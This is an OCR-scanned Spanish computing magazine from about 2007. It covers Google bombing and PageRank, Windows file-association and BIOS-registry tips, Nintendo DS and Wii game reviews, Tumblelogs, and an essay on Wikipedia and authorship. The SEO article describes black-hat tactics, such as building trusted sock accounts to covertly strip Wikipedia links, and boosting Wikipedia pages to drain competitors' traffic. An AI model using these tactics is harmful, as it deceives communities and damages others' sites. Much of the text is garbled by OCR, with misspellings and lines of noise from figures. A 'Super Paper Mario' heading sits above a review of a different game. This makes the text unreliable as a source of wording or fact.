posicionan por delante de unas paginas
web con temdticas muy jugosas econd-
micamente que han creado y disefiado,
pidiendo enlaces para poder situarlas en
los primeros puestos.

Hace algunos afios, muchos espe-
cialistas en posicionamiento web de los
llarados “black hat” (que hacen uso de
técnicas penalizadas) editaban los articu-
los de la Wikipedia para obtener enlaces
directos hacia sus pdginas a posicionar.
Sin embargo, los responsables del pro-
yecto comenzaron a insertar el pardmetro
“rel=nofollow” en estos enlaces (lo que
hace que Google no los siga ni los con-
sidere como un “voto” en su algoritmo
de popularidad). Actualmente, desde el
blog Metroseo (metroseo.com) - dedicado
a estrategias SEO (search engine optimi-
zation: optimizacion de motor de bis-
queda) para mejorar el posicionamiento
web - se detalla como editar los articulos
de la Wikipedia para intentar que sus

eRank, el truco del almendruco

MUCHOS ESPECIALISTAS

EN POSICIONAMIENTO WEB
DE LOS LLAMADOS “BLACK
HAT" (QUE HACEN USO DE
TECNICAS PENALIZADAS)
EDITABAN LOS ARTICULOS DE
LA WIKIPEDIA PARA OBTENER
ENLACES DIRECTOS HACIA
SUS PAGINAS A POSICIONAR

El éxito de Google y a la vez su talén de Aquiles (visto el éxito del Google Bom-
bing) tiene nombre y apellido: PageRank. Este algoritmo fue patentado en Estados
Unidos el dia 8 de enero de 1998 por Larry Page, su nombre original era “Method
for node ranking in a linked database” (con poco gancho), y le fue asignado el
nimero de patente 6,285,999,

PageRank (o simplemente PR) es sencillamente un valor numérico que repre-
senta la importancia que una pagina web tiene en Internet. Google se hace la idea
de que cuando una web coloca un enlace hacia otra, es de hecho un voto para es-
ta ditima. Cuantos mas votos tenga una pagina, mas importante sera para Google.
Ademas, la importancia del sitio que emite su voto también determina el peso de
este. De esta forma, Google calcula la importancia de una pdgina gracias a todos
los votos que recibe, teniendo en cuenta también la importancia de cada pdgina
que emite el voto.

PageRank es, por lo tanto, el método que tiene Google de decidir la importan-
cia de una pagina. Es un dato valioso (no el Gnico pero si uno de los mas impor-
tantes), porque determina en gran parte la posicion que va a tener una pdgina
dentro de los resultados de la bisqueda.

Hay que tener en cuenta que no todos los enlaces son tenidos en cuenta por
Google. Por ejemplo, Google filtra y descarta los enlaces de paginas dedicadas
exclusivamente a colocar enlaces (llamadas “link farms” o granjas de enlaces).

Ademas, Google admite que una péagina no puede controlar los enlaces que
apuntan hacia ella, pero si puede hacerlo con los enlaces que ésta coloca hacia
otras pdginas. Por ello los enlaces que una pagina coloque hacia sitios penaliza-
dos, pueden ser también perjudiciales para su PageRank. Si por ejemplo un sitio
web tiene PRO, generalmente se tratard de una web penalizada, y podria ser poco
productivo colocar un enlace hacia ella.

Un método para conocer el PageRank de una pagina es descargandose la barra
de busqueda de Google. Mediante una barra se mostrard en color verde el valor
de PageRank en una escala de 0 a 10. Sitios web con PR10 son Yahoo!, Microsoft,
Adobe, o la propia Google.
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pdginas pierdan un poco de posiciona-
miento y las del interesado aparezcan por
encima suyo. La técnica conocida como
“Wiki-dnapping” consiste en crear varios
usuarios que gocen de credibilidad (afa-
diendo informacién valiosa, eliminando
spam, colaborando con el proyecto), que
se dediquen con frecuencia y disimulada-
mente a eliminar enlaces internos dentro
de la propia Wikipedia para asi empeorar
su posicionamiento. Segin aseguran los
responsables del blog, esto no empeora
la calidad de la Wikipedia, pero si infli-
ge un castigo a las paginas que insertan
“rel=nofollow” a los enlaces externos que
incluyen los usuarios. Se asegura que es
raramente detectado por los administra-
dores de la Wikipedia.

También existe la vertiente antagdéni-
ca, la de los webmasters cuyo objetivo es
que los articulos de la Wikipedia estén
por encima... de las paginas de su com-
petencia, con el objeto de perjudicarlas
para que pierdan trifico de red y, lo que
es lo mismo, ingresos. En la pdgina de
5e0moz (Se0moz.org) nos animan a elegir
el articulo de la Wikipedia que mds se
ajuste a las palabras de la busqueda que
se quiere manipular (si no existe, se crea),
a conseguir un par de enlaces hacia él
(el posicionamiento de las paginas de la
Wikipedia es tan bueno que no necesita-
mos mds), y esperar.

;El ocaso de una iniciativa
social?

Tras varios casos sonados, entre los que
destaca tristemente el de la SGAE, en
enero de 2007 Google anunciaba que
ponia fin a los Google Bombings me-
diante la inclusidn de filtros manuales
creados explicitamente para evitar que
ciertas paginas web apareciesen enqla
primera posicion de los resultados del
buscador web al consultar determinados
términos. Anuncid que se habia comen-
zando a minimizar el efecto de muchos
de los ataques (si se les puede llamar
asi) dentro de las paginas de resultados
del buscador web y, para ello se habia
“mejorado el andlisis de la estructura de
enlaces de la red”.

Sin embargo, al tratarse de filtros
disefiados a mano, otras bidsquedas no
tenidas en cuenta inicialmente han co-
menzado a devolver también la “pdgina
victima” debido a los numerosos enlaces
recibidos por ésta, y de los que Google
parece no poder sortear, de momento.
Asi por ejemplo, si buscamos “miserable
failure”, efectivamente no aparece la
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pagina web del presidente George W.
Bush. Por el contrario, si sélo buscamos
“failure”, si que se encontrd durante
cierto tiempo la pagina en cuestién en la
primera posicion.

El motivo es bien sencillo: Google
sigue teniendo en cuenta los miles de en-
laces con el texto “miserable failure” ha-
cia “www.whitehouse.gov/president/”, al
igual que lo hace con las miles de pagi-
nas que contienen la palabra “ladrones”
y el enlace a www.sgae.es. Si ademas, se
da la circunstancia de que la palabra en
cuestion aparece dentro del texto de los
contenidos de dicha pdgina, el resultado
se ratifica, asigndndosele a esa consulta
un nivel de relevancia adicional.

En su momento, Google anuncid
que, aungue no le gustaba este tipo de
practicas, tampoco tenia intencion de
eliminar los resultados erréneos manual-
mente excusindose en que el Google
Bombing era mds bien una forma de en-
tretenimiento para algunos y que nunca
llegaria a alterar la calidad del buscador.
Desde el principio ha defendido que
esta técnica tiene éxito debido al propio
funcionamiento del buscador, es decir,
acepta la vulnerabilidad de su sistema
con respecto a este tipo de ataques
aunque deja muy claro que estos son
posibles debido a la alta eficacia de su
algoritmo de bdsquedas.

Es sabido ademds que algunos Go-
ogle Bombings son permitidos por el
buscador, quiza porque se considere
que no son politicamente tan incorrec-
tos, o quiza porque se benefician del
marketing viral para seguir considerando
a Google como el rey de los buscadores.
Sin embargo, desde que oficialmente se
pusiese fin a los Google Bombings por
parte del buscador, son muchos los que
afioran la existencia de nuevas iniciati-
vas que pongan a prueba la repercusion
de una determinacda protesta a través de
Internet.

De hecho, algunos usuarios siguen
buscando la manera de “saltarse” esta
nueva politica de los responsables de
Google y, por ejemplo, en el blog http://
eloi.programacionweb. net/blog/post.
php?id=139 se lanza Ja hipitesis de que
el nuevo algoritmo hace que las piginas
web que no contengan la palabra enla-
zada (y posteriormente buscada) sean
penalizadas a la hora de calcular su
“LocalRank” y, por lo tanto, a la hora de
aparecer en las pdginas de resultados del
buscador.

El “LocalRank™ es una teoria que tra-
ta de explicar una segunda clasificacién
de las pdginas web (tras el “PageRank”)
dentro de los resultados, y que estaria
potenciada por diferentes factores, co-
mo por ejemplo el hecho de conseguir
enlaces desde sitios web de la misma
tematica.

Para evitar esta penalizacidn, se ase-
gura, un posible truco podria ser incluir
en la URL de la “victima" la palabra
clave que queremos posicionar (por
ejemplo: “http://dominio.com/?palabra_
clave”), pero nos encontrariamos con
dos inconvenientes. El primero, y el
mas importante, es que Google ha ase-
gurado que modificaria “a mano” los
resultados de las basquedas propuestas
en los Google Bombings, por lo que lo
evitarian una vez la iniciativa consiguie-
se una cierta repercusion. Y el segundo
inconveniente es que la URL propuesta,
al contrario que las que no contienen
la palabra a posicionar, puede ser “blo-
queada” por el responsable del sitio
web mediante el uso de robots (como el
que ya utiliza a la SGAE). Este método
que utiliza lo que se denominan “falsos
parametros” ya aparece en muchos sitios
web como un enlace: http:/f/www.sgae.
es/fladrones.

Y es que hecha la ley, hecha la trampa
Nicolas Velasquez Espinel

Enlaces

Wikipedia: http:/les.wikipedia.orgiwiki/Google_bomb

Noticias G : http:/igoogle.dirson.com/google-bombing.php

Blog Eloi de San Martin: http:/eloi.programacionweb.net/blog/post.php?id=139

Demanda SGAE: http:f'www.merodeando.com/2007/02/20-a-la-sgae-no-le-
gusta-merodeando

http://www.20minutos.es/noticia/205066/0/sgaefladrones/socio/

SGAE: http:/lwww.sgae.es

PageRank: http:fes.wikipedia.org/wiki/PageRank
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TRUCOS

Cambiar las asociaciones
establecidas por defecto

Algunos programas que se
instalan en nuestro ordenador
pueden llegar a asociar un tipo
de archivo a éste de manera
que, si se hace doble clic sobre
el, se abrira automaticamente
la aplicacion. Esto puede llegar
a ser un engorro si no hemos
demandado esta funcionalidad
puesto que cambiara las asocia-
ciones que te::Famus estableci-
das, instaurando unas nuevas.

Windows nos permite especificar que
archivos que tengan una extension deter-
minada se abran siempre con el mismo
programa. El problema aparece cuando,
tras instalar un programa nuevo (ya sea
porque lo estemos probando por curio-
sidad o porque se instale como parte de
otro) las asociaciones cambian, lo que
supone una verdadera molestia ya que, si
bien en algo destacamos, es que somos
animales de costumbres.

De esta forma, tras instalar una nueva
aplicacién en tu sistema, puede suceder
que un tipo de archivo que antes se abria
con determinada herramienta, comience
a abrirse con una nueva que, aungue
también permite abrir estos ficheros, no
es el que deseamos utilizar. Imagina que
utilizas el excelente reproductor multi-
media VideoLan para tus videos y misica
e instalas Nero para probarlo, aceptando
los pasos basicos del proceso. Al finalizar,
este (ltimo se habra configurado como
el programa encargado de reproducir el
video y la musica de tu PC, cambiando asi
la configuracién original.

Aunque estas asociaciones suelen ser
razonables - que no siempre acertadas
— gjecutando programas compatibles (por
ejemplo un archivo grifico BMP serd
abierto por una aplicacion que permite el
tratamiento de imdgenes o la visualizacién
de las mismas), no siempre es asi, por lo
que puede llegar a darse el caso que tus
archivos de misica intenten reproducirse
mediante tu programa de compresion
de datos, o abrirse mediante el editor de
texto. Todo un despropdsito que es relati-

@

)
| Trrmr————
== i
8
i
- el -
[
e
i
o e

Especifica s aplicacidn gue desess asociar del lista-
do disponible.

T i o

B v o g Vi . v
il roemar Eapen

5i ol archivo ya Hene asociacidn puedes cambiaria
féclimente.

Tm o
1 iy I AER By W
= FEN Bt T
R A
FIRE ki T
FeFie i e FIEE Dl o P
Fede
e
irllon i
Arden
Ll N
L ¢
g L]
Ll
Ee
e L e
[aram
fetua e
Froymsiiaiin

51 no existe ain asociacidn, podrds craar una.

vamente facil atajar.

En cualquiera de los dos casos existe
una manera muy sencilla de cambiar la
asociacion con un programa. Puedes tra-
bajar con asociaciones de archivos en el
Explorador de Microsoft Windows o direc-
tamente desde Mi PC.

En primer lugar abre el Explorador
de Windows y busca un archivo del
tipo que sea el que quieras re-asociar
con un programa concreto (por ejemplo

un BMP, si es el caso). A continuacion
haz clic con el botén derecho del ra-
ton sobre él, pulsa en “Abrir con...”,

y selecciona la aplicacidn de la lista
desplegable en el supuesto que el pro-
grama deseado se encuentre alli. Si no
es asi, haz clic en la opcién que apare-
ce al final: “Elegir Programa”. De forma
inmediata, se muestra un cuadro de
didlogo con un listado de aplicaciones
posibles (divididas entre “Programas
recomendados” y “Otros programas”)
entre los que podrds seleccionar la
aplicacion a utilizar. 5i el programa
que deseas emplear no se encuentra
alli, pulsa en el botén “Examinar” para
seleccionar la aplicacién a utilizar, na-
vegando hasta el directorio en el que se
encuentre el ejecutable del mismo (esto
quizas requiera un esfuerzo afiadido
por tu parte ya que deberds conocer en
qué directorio estd ubicado el ejecu-
table que lanza dicha aplicacidn, algo
no siempre tan evidente). Una vez se-
leccionado el programa que deseemos
asociar, debemos fijarnos en la casilla
de verificacién “Utilizar siempre el pro-
grama seleccionado para abrir este tipo
de archivos” y activarla (marcdndola) o
no, en el caso de que se deseemos rea-
lizar una asociacién permanente o no,
respectivamente. Habrds restaurado la
asociacidn para ese tipo de archivo en
concreto. Si necesita hacerlo con otros
programas, no tienes mds que repetir la
operacion.

Quizds desees crear una asociacion
para un tipo de archivo que no esté aso-
ciado adn a ningln programa del equipo
(extensiones no registradas o configura-
das). Para ello haz clic con el boton se-
cundario del raton en el archivo que tenga
la extensién que desees cambiar y luego
en “Abrir” (o bien doble clic en el fichero).

Se mostrard un cuadro de didlogo que
indica gque no hay ningln programa aso-
ciado con este archivo y con dos opcio-
nes: “Usar el servicio Web para encontrar
el programa apropiado”, y “Seleccionar
el programa de una lista”. Lo mejor suele
ser seleccionar el programa en una lista. El
proceso a seguir a partir de aqui es similar
a lo explicado anteriormente.

Nicolids Velasquez Espinel




Averiguar datos de la BIOS
sin reiniciar el PC

La BIOS nos ha acompaiiado
desde el principio de la era de
la informaética, tendiendo un
hilo conductor desde los pri-
meros ordenadores x86 hasta
los dltimos sistemas de miuilti-
ples niicleos. Un denominador
comiin de la era tecnoldgica
que muchos tachan de obsole-
to pero del que seguimos de-
pendiendo, en mayor 0 menor
medida, ;0 no?.

Lo que se conoce comdnmente como
BIOS (sistema bdsico de entrada/salida
Basic Input-Output System) es un cd-
digo de interfaz que localiza y carga el
sistema operativo en la RAM. Contiene
las instrucciones mds elementales para

el funcionamiento del PC, las rutinas
basicas de control de los dispositivos de
entrada y salida v estd almacenado en un
chip de memoria ROM o Flash, situado
en la placa base. Proporciona la comuni-
cacion de bajo nivel, y el funcionamiento
v configuracién del hardware del sistema
que, como minimo, maneja el teclado

y proporciona salida basica (emitiendo
pitidos normalizados por el altavoz del
ordenador si se producen fallos) durante
el arranque. Usualmente estd escrito en
lenguaje ensamblador.

Al encender el ordenador, la BIOS se
carga automdticamente en la memoria
principal y se ejecuta desde ahi por el
procesador. Tras una rutina de verifica-
cion e inicializacién de los componentes
presentes en la méquina, transfiere el
control al sistema operativo (en los prime-
ros sistemas para PC, como el DOS, to-
davia permanecia activa tras el arranque
y funcionamiento del sistema operativo
obligando a que el acceso a dispositivos
como la disquetera y el disco duro se hi-
cieran a través del BIOS, aunque actual-
mente ya no es necesario).

Pese a que hemos avanzado muche:
la potencia de los procesadores se ha
multiplicado, el acceso a las memorias
alcanza velocidades astronémicas y la
capacidad de los discos duros crece ex-
ponencialmente; seguimos teniendo que

acceder a la BIOS para configu-
raciones basicas, lo que implica
reiniciar el ordenador y, mediante
una arcaica operacion durante

el arranque del mismo (pulsando
la tecla Suprimir en el inicio),
acceder a una interfaz ridstica que
nos recuerda al antiguo MS-DOS.
Desde aqui serd posible acceder
a informacién detallada de tu
maquina, aunque su manipula-
cidn sélo estd recomendada a
personas que tengan conocimien-
tos de lo que hacen ya que una
operacidn inexperta puede dar
como resultado inestabilidad del

Al acceder a la BIOS verds algo parecido a esto.

Sptes Time

sistema, cuando no directamente, T

problemas en el arranque de la | = = ==

magquina. ik g T ]
Sin embargo, no siempre es %"‘f&_—_ e

factible acceder a la BIOS de este e

maodo, lo que no quita que sigamos

necesitando acceder a datos alli
visibles. Imaginemos el caso en el
ue el teclado no esté operativo
3urante las primeras fases del arran-
que (y, por lo tanto, no podamos

acceder por mas que pulsemos en =

la tecla Suprimir hasta agotaros)
o que simplemente se trate una
maquina que no pueda detenerse,
como es el caso de muchos servi-
dores. Para estas situaciones existe
una alternativa que nos permitird
acceder algunos datos de la BIOS
desde el propio Windows.
Imaginemos que tenemos que
actualizar nuestra BIOS porque -

que hayamos instalado. Para ello
deberemos conocer la version
y fecha de la misma, unos datos que
usualmente se obtienen reiniciando el
PC, aunque descubriremos una forma
alternativa puesto que la informacion a
la que hacemos mencion se encuentra
almacenada en el conocido registra de
Windows. Para abrirlo haz clic en “Ini-
cio - Ejecutar”, escribe “regedit” (sin las
comillas) y pulsa en Aceptar. Cuando se
abre la ventana del registro debes buscar
en el panel lateral izquierdo la siguiente
clave en la estructura arbérea:

HKEY_Local_Machine\Hardware'
Descriptions’ System

Cuando llegues a este apartado, po-
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Encontrards algunos dafos bisicos de la BIOS en el registng,

No 85 recomendable realizar camblos salve que sepas Io que
no nos detecta algin componente haces.

drds observar en el panel derecho varios
campos entre los que destacan System-
BiosVersion, SystemBiosDate, VideoBios-
Version y VideoBiosDate.

Y Vioila! en la columna datos encon-
trards los valores que necesitas.

Recuerda que, como siempre que
hablamos del registro de Windows, no es
recomendable cambiar ningdn parametro
a menos que se sepas perfectamente lo
que estas haciendo. Y en todo caso, antes
de realizar ninglin cambio, siempre serd
recomendable hacer una copia de seguri-
dad, por si acaso.

Nicolds Velasquez Espinel
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Drawn to Life

Programacidn: 5th Cell Media
Distribuidor: THQ

http://www.thg-games.comy/es/game/show/
tion kits”, o sea, programas que nos

cidos, este software, hibrido de utilidad y

una serie de elementos

do, a falta de nuestra

programas se

gENeros para sacar .

kits de creacién de juegos de rol o de
Asi, primero credbamos personajes,

ciones. Drawn to Life bebe en parte de

empezar directamente sin pasarse horas

utilidad seguida de un juego.

puro estilo clasico. En su mecdnica no

En Drawn to Life nosotros disefiaremos

y le daremos vida en el juego. No solo

Plataforma: Nintendo DS
Calificacion: Mayores de 3 afios
22407keyw=drawn&per_page=
a en los tiempos de los 8 bits exis-
tian los llamados “game construc-
permitian hacer nuestros propios juegos.
Empezando por unos patrones preestable-
videojuego, nos daba la oportuni-
dad de introducir y modificar
para después usarlos en
un juego preprograma-
contribucién. Nor-
malmente, estos .
han ido espe-
cializando segiin b
mas partido del
material previo y de
la imaginacion del autor
amateur. Es decir, hemos visto
matamarcianos cldsicos, por citar dos
ejemplos.
armamento, vehiculos e incluso escena-
rios v luego jugdbamos con nuestras crea-
esta tradicién, pero opta por una solucién
mds a la medida del jugador que quiere
peledndose con los pixeles. O sea, es un
juego que contiene una utilidad, no una
Esta original propuesta llega disfra-
zada de aventura de plataformas al més
deberfa haber nada rompedor, pero este
factor aparece bien pronto en el juego.
al prot dgnnif.ta del juego, asi como sue-
na. Lo dibujaremos en la pantalla tictil
seremos los encargados del aspecto de
nuestro alter ego, también dibujaremos

- 8 ﬁllllﬁ
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objetos, vehiculos e incluso plataformas

y bloques para seguir avanzando por los
distintos escenarios. Todo un reto. Y todo
mientras jugamt::s.

Drawn to Life presenta una potente
herramienta de dibujo (potente al menos
teniendo en cuenta lo que hemos visto en
otros juegos de DS que hacen uso del 14-
piz tictil para dibujar ciertos elementos),
gracias a la cual daremos forma y color
al protagonista de la historia. Si en un
momento determinado necesitamos
una escafandra para que nuestro per-
sonaje no se ahogue en el agua, la
dibujamos y listo. O bien podemos
dibujar un submarino para avanzar
por el fondo del mar. También pode-
mos darle nuestro toque

»

personal a las plataformas
por las que nuestro héroe
debe saltar sin caerse
al vacio. Y asi dece-
nas de elementos
i necesarios para
concluir con éxi-
. to la aventura.
Se nota que
5th Cell Media
» . prestado espe-
cial atencidn a la
personalizacion del juego,
es su parte mas sobresaliente
y llamativa, amén de la mds
lograda. La compaiiia, especia-
lizada en versiones de juegos
de éxito para moviles, da un
ran salto cualitativo, y no solo por
la oportunidad que supone programar
en una consola de tanta difusion como
la DS, sino sobre todo por la ejecucidn.
Es cierto que si no fuera por la original

herramienta de dibujo vy su aplicacién en
el juego, éste no seria mds que otro pla-
taformas para DS, pero es por lo primero
por lo que engancha. Més de una vez el
jugador se sorprenderd repitiendo disefios
de personajes y objetos para volver a ju-
gar esta aventura. Un juego que muestra
por dénde deben ir las cosas en DS, y
que muestra que todavia se pueden hacer
cosas originales en la portatil.
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Super Paper Mario

Programacion: Intelligent Systems
Distribuidor: Nintendo
Plataforma; Wii

Calificacion: Mayores de 3 afos

hitp://ms.nintendo-europe.com/superpapermario,/?l=esES

una obra y la “adapten” a los gustos,

usos y costumbres de otra franja ho-
raria. Por pequenos que sean los cambios,
no dan buen resultado. Ahi estan las “me-
joras” de las versiones occidentales de
dos grandes peliculas de Stephen Chow,
Shaolin Soccer y Kung-Fu Hustle. Por
eso, cuando nos enteramos de que habria
version “adaptada a Occidente” de uno
de los mejores juegos del catdlogo de DS,
nos echamos a temblar. Afortunadamente,
los temblores pueden pasar, porque Elite
Beat Agents, por si solo, es un grandisimo
juego de DS, adaptacion o no.

Todo empieza por Osul Tatakae!
Ouendan!, un juego japonés que es ya
todo un mito entre los usuarios de DS.
Dicho juego acomete, con gran sentido
del humor y decidido estilo manga, la
figura del animador, muy popular en el
pais nipén. El animador estd presente en
lugares de estudio, trabajo y también de
ocio, para motivar a la gente que alli se
encuentra para realizar mejor su tarea,
va sea en el tajo o incluso para divertir-
se. Esta parece ser la razdn oficial para
cambiar los protagonistas del juego, pero
no su mecanica ni su finalidad. Osu! Ta-
takae! Ouendan, como todo buen juego
“musical”, mezclaba a la perfecion esté-
tica, jugabilidad y sonido, haciendo cada
partida un festin de ritmos v melodias. En
el juego original, nuestro papel como ani-
madores es hacer todo tipo de movimien-
tos ritmicos y bailes para motivar a quien
se encuentre en un apuro y ayudarle a
cumplir sus objetivos. Dando con el ldpiz
en la pantalla tactil de diferentes formas
vamos creando esos bailes de motivacidn.
Un desarrollo simple, pero con una curva
de dificultad muy estudiada y una jugabi-
lidad sencillamente endiablada.

Elite Beat Agents funciona exactamen-
te igual que Osu! Tatakae! Ouendan!, lo
que se ha cambiado es el entorno de los

Sue[e ser mala sefial eso de que cojan
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protagonistas. Ya no son animadores,
sino un cuerpo muy peculiar de agentes
de una organizacion no menos especial.
A las drdenes del sargento Kuhl, nuestros
agentes irin donde se les ordene y don-
de hagan falta. Seguiremos animando a
la gente de a pie para realizar las mds
diversas acciones, con nuestros bailes y
ritmicos aspavientos. Es decir, todo sigue
igual, que nadie se alarme. Seguimos lu-
chando por subir la moral de quienes nos
rodean, con el mismo estilo artistico y el
mismo y descharrante sentido del humor.

Otro elemento que no podia faltar
en esta adaptacion es la musica. En Elite
Beat Agents se ha apostado por un rami-
llete de éxitos del rock y
del pop de todos los tiem-
pos, desde el méds cldsico
al mds actual. No son las
versiones originales, sino
“reinvenciones” especial-
mente compuestas para
el juego, y les vienen de
perlas. Durante el juego
nos veremos tocando la
pantalla tictil de la D5
con canciones de Mado-
nna, Rolling Stones, Jack-
son Five, Village People,
David Bowie, Jamiroquai
e incluso Avril Lavigne y
Beyoncé.

Elite Beat Agents tiene
un modo historia desple-
gado en 19 misiones, pero
también incluye un modo
multijugador con duelos
de ritmo en el que pueden
participar hasta 4 jugado-
res sin cables. Eso si, no se

ZONA DE JUEGOS

puede acceder a este mo-

do con un solo cartucho, como
otros juegos. También incluye un modo
replay para ver nuestro rendimiento y
donde podemos mejorar, y un curioso
modo en el que podemos retar a nues-
tro “fantasma”, o sea, a nuestro propio
desarrollo en partidas anteriores. Resulta
gracioso ver aqui este modo, mds propio
de los simuladores de conduccidn, v no
deja de tener su aliciente. La verdad es
que todo en Elite Beat Agents rezuma de-
dicacidn y excelencia, uno de los juegos
que nadie debe perderse si tiene una DS.
Una joya para todos los publicos.
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El dltimo recién llegado lleva por nombre Tumblelog y se carac-
teriza por ser esa libreta de papel que siempre llevibamos enci-
ma, en la que apuntdbamos todo lo que te resulta curioso, esas
breves reflexiones que te producen alguna cosa, un dibujo, una
foto... Pero todo a modo de un bosquejo rdpido, tal y como se
hacia en las miticas libretas Molekine que tantos intelectuales
y pintores hicieron célebres en otro tiempo. Pues sencillamente
eso es un Tumblelog, debidamente aderezado con contenidos
multimedia que tan en boga se encuentran.

Este ejercicio de improvisacién, va mds alli del fendmeno
Twitter (twitter.com), que se queda en un qué estoy haciendo,
dénde estoy, v una linea de reflexion... ¥ que tanto ha revolu-
cionado las redes sociales en los dltimos meses. El concepto
de Tumblelog, a pesar de su brevedad, es mds extenso, rico,
creativo y plural.

Parece que su origen lo tenemos en los linklog, que son lis-
tados de enlaces que se estin recorriendo. Después se enrigue-
cieron con muchas cosas mds para crear la caza de zapatos,
carente de titulos en su mayorfa, desestructurado en cuanto a
contenidos, carentes de categorias o cualquier método de cata-
logar los contenidos, ya sea cronolégicamente, temdticamente

Principales apartados

La mayoria de los CMS para Tumblelog
incluyen, lo que podriamos denominar el
paquete bdsico de herramientas que to-
do buen usuario debe necesitar. A saber:

- Textos planos de la extensién que de-
SEEMOS.

- Imégenes, con la posibilidad de agre-
garle un comentario, a modo de pie de

=Videos.

- Audios.

- Enlaces a otros webs, comentados si
se desea.

- Citas y frases célebres.

- Didlogos y otras conversaciones de
chat.
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concepto de Tumblelog es tan personal en
cuanto a contenidos y presentacidn, que

Iu que opinen los demds no tiene cabida. o -
CMS para Tumblelog e e Akl

Para montar tu propio Tumblelog puedes,
como siempre, montirtelo en tu servidor
o abrir una cuenta en una comunidad que
te dé el servicio gratuitamente o mediante
pagnlz-' ti web

0s que tiene su propio espacio
donde montar un script, la mejor opcitn
es Gelato (gelatocms.com), un CMS de co-
digo abierto realizado por Pedro Santana
que ofrece mediante PHP y MySQL todo
lo que necesitas bajo un interfaz sencillo
e intuitivo.

Para los que no quieren preocuparse
por nada mds que montarlo y empezar a
expresarse con libertad, el servicio mds
significativo lo ofrece Tumblr (tumblr.com)
gue permite estar publicando en un par de
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La activistas del conocimiento libre
recompilan el concepto de autor

—

Los guardianes de la propiedad intelectual acechan en todas las esquinas: tras las puertas de los ba-
res a la espera de que suene una cancién poseida por la SGAE, en los anuncios de los cines llaman-
do robo a la descarga, en los carteles que presiden las papelerias de barrio negindose a fotocopiar
libros, en cada uno de los objetos electrénicos marcados por el diezmo del Canon. El autor, procla-
man, es un pobre desvalido necesitado de su proteccion. Y sin embargo, en el mismo instante, una
nueva e incomoda protagonista salta a las portadas de los periddicos, desafiando todos y cada uno
de los pilares que sustentan el discurso de los guardianes. Los programadores y autores de la wikipe-
dia son muchos, casi todos anénimos, no cobran por ello y, para colmo, comparten lo que escriben.
Todas las actitudes que, segin siempre nos han contado, perjudican al autor, han convertido a la
Wikipedia en la mayor enciclopedia jamas compilada en la historia de la Humanidad.

De la autoria a la propiedad
intelectual y vuelta

;Cémo es posible que los cientos de miles
de autores que programan, escriben e ilus-
tran la Wikipedia hayan decidido renunciar
a sus “derechos”? ¥ lo que es mds grave
-preguntan en voz alta y nerviosa los guar-
dianes de la propiedad intelectual: ;Cémo
es posible que los lectores, sin ser clientes,
se fien de ellos? Para responder a estos y a
otros muchos interrogantes que hoy suscita
la Wikipedia y todos sus proyectos herma-
nos, merece la pena que nos detengamos
un momento en la etimologia de la palabra
autor: indagando en el cédigo fuente del
lenguaje y poder asi comprender su funcién
original.

Autor procede del latin auctor, un sus-
tantivo construido a partir del verbo aug-
mentare (hoy aumentar), que significaba
hacer crecer algo, tanto en cantidad como
en cualidad. Un autor era, por tanto, al-
guien que aumentaba o mejoraba algo que
ya existia. De este modo, ese algo que ya
existia, la obra, se convertia, por definicion,
en fruto del trabajo de muchos autores. Las
historias se transmitian oralmente, y en cada
lugar geogréfico o generacional se transfor-
maban por los “aumentos”, los afadidos y
las modificaciones de incontables autores.
Incluso cuando las historias comenzaron
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dlel murdo [fuente: Wikinedia licencia GFDL]
a ser plasmadas en papel, el autor que
firmaba ese registro escrito seguia siendo
un “aumentador” de las obras que recibia
por los cauces de la tradicién. La trans-
mision por copia manual de las historias
escritas no alterd demasiado el proceso:
los autores seguian siendo aumentadares
de historias, intérpretes, comentaristas...
Del hecho de reconocer a los autores
como creadores a considerarlos propie-
tarios de sus obras hay un trecho largo:
no es la autoria sino la propiedad lo que
estd en juego. Esta vinculacidn de la au-
toria con la propiedad tuvo su origen en
el nuevo mercado que se desarrollé con
la aparicidn de la imprenta: los libros, al
igual que los tejidos fabricados en serie
por los telares mecdnicos, se convirtieron
€n una nueva mercancia; su fabricacién y
distribucién implicaba costes, y su venta,
beneficios. Las cosas han cambiado tanto
en el sistema operativo del mercantilismo
actual, que la palabra autor resulta irre-
conocible en su cédigo, compilado para
vender y comprar... Hasta que un grupo
de ilustrados hackers del conocimiento
decidieron redefinir el sistema.

Wikipedia: el arbél del
conocimiento, sus raices,
tronco y ramas

Como en su dia la imprenta, Internet y
los soportes digitales de almacenamiento
de datos se han convertido en un nuevo
punto de inflexién tecnoldgico en la
historia de la autoria. Con ellos, el coste
de reproduccién de las obras se acerea

a cero mientras su radio de distribucion
(paradéjicamente para el modelo cldsico)
tiende a infinito. Estas nuevas herramien-
tas de produccién y distribucién del co-
nocimiento han permitido que mltiples
proyectos hayan puesto en cuestion, des-
de hace mas de 15 afios, las ecuaciones
que hasta ahora habian regido el universo
de la autoria: “una obra = un autor”: “un
autor = un propietario”. De entre todos
ellos, la enciclopedia libre Wikipediat

ha sido el que ha logrado llevar més

lejos los efectos de la GFDL (la licencia
de software libre pensada primero para

la documentacién de los programas y
extendida hoy—junto con las licencias
Creative Commons—a casi todos los for-
matos de documento: texto, audio, video,

LA EDICION INGLESA DE LA
WIKIPEDIA SE INICIO EL 15

DE ENERO DEL 2001 cOMO
UN COMPLEMENTO DE
NUPEDIA

imagen...).

La edicidn inglesa de la wikipedia se
inicio el 15 de enero del 2001 como un
complemento de Nupedia, un proyecto
clisico de enciclopedia online adminis-
trada por Jimmy Wales y Larry Sanger.
Mientras que esta se gestaba muy lenta-
mente, al ritmo marcado por la escritura
individual y la revisién por pares {en un
ano apenas se habian completado 12
articulos), sus administradores decidieran
crear un wiki paralelo, a la espera de que
la Nupedia se completase. S6lo un mes
mas tarde, la recién bautizada Wikipedia
contaba con mds de 1000 articulos escri-
tos por cientos de colaboradores y leidos
por un nimero incontable de usuarios.
El proyecto Nupedia fue abandonado y
se cred la Fundacién Wikimedia @, una
organizacion no de lucro presidida por Ji-
mmy Wales. En el afio 2003 comenzaron
a multiplicarse las wikipedias escritas en
otros idiomas (fue la catalana la primera
en publicar un articulo en lengua no
inglesa). Hoy suman més de 8 millones
de articulos en 253 idiomas y mds de 5
millones de usuarios registrados, aunque
solo alrededor de 80.000 son wikipedis-
tas activos B1. El crecimiento ha sido y
continta siendo exponencial, y el radio
de su efecto va mucho mds alli de los

m HACKTIVISMO

margenes de la Enciclopedia, que se ha
convertido en en lugar de gestacién de
miltiples proyectos hermanos, todos
ellos ﬂcenciadns bajo la GFDL: Wikcio-
nario, Wikilibros, Wikiversidad, Wikici-
tas, Wikinoticias, Wikifuentes, Wikimedia
Commons (depésito comiin de imagenes
y contenido multimedia) y Wikiespecies
